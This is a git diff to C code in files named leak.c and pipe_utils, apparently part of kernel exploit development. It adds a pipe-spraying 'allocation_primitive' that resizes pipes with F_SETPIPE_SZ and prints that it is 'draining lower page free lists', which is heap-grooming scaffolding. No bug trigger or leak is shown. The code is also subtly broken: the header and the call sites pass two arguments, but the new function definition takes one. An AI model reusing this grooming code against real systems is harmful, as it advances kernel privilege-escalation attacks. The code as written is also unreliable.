diff --git a/code/leak.c b/code/leak.c
index 0866600ad..270fd5f9a 100644
--- a/code/leak.c
+++ b/code/leak.c
@@ -1,3 +1,4 @@
+#define _GNU_SOURCE
 #include <sys/socket.h>
 
 #include <fcntl.h>
@@ -6,6 +7,8 @@
 #include <string.h>
 #include <unistd.h>
 
+#include "pipe_utils.h"
+
 // where does this come from?
 #define OBJS_PER_SLAB 42
 
@@ -13,8 +16,6 @@
 
 int pipes[PIPE_BUFFER][2];
 
-void alloc_pipes(int[2], int);
-
 int
 main(void)
 {
@@ -23,16 +24,12 @@ main(void)
 
 	printf("main: fopen: %p\n", device);
 
+	printf("main: draining lower page free lists: %u objects\n",
+	    PIPE_BUFFER);
 	for (size_t i = 0; i < PIPE_BUFFER; i++) {
-		alloc_pipes(pipes[i], O_NONBLOCK);
+		allocation_primitive(pipes[i], O_NONBLOCK);
 	}
 
 	fclose(device);
 	printf("main: done\n");
 }
-
-void
-alloc_pipes(int fd[2], int flags)
-{
-	pipe2(pipes, flags);
-}
diff --git a/code/pipe_utils.c b/code/pipe_utils.c
new file mode 100644
index 000000000..7173595ee
--- /dev/null
+++ b/code/pipe_utils.c
@@ -0,0 +1,16 @@
+#define _GNU_SOURCE
+#include <sys/socket.h>
+
+#include <fcntl.h>
+#include <unistd.h>
+
+#include "pipe_utils.h"
+
+void
+allocation_primitive(int fd[2])
+{
+	pipe2(fd, O_NONBLOCK);
+	fcntl(fd[0], F_SETPIPE_SZ, 8192);
+	char buffer[0x100] = { 0 };
+	write(fd[1], buffer, 8);
+}
diff --git a/code/pipe_utils.h b/code/pipe_utils.h
new file mode 100644
index 000000000..39111a7fc
--- /dev/null
+++ b/code/pipe_utils.h
@@ -0,0 +1 @@
+void allocation_primitive(int fd[2], int flags);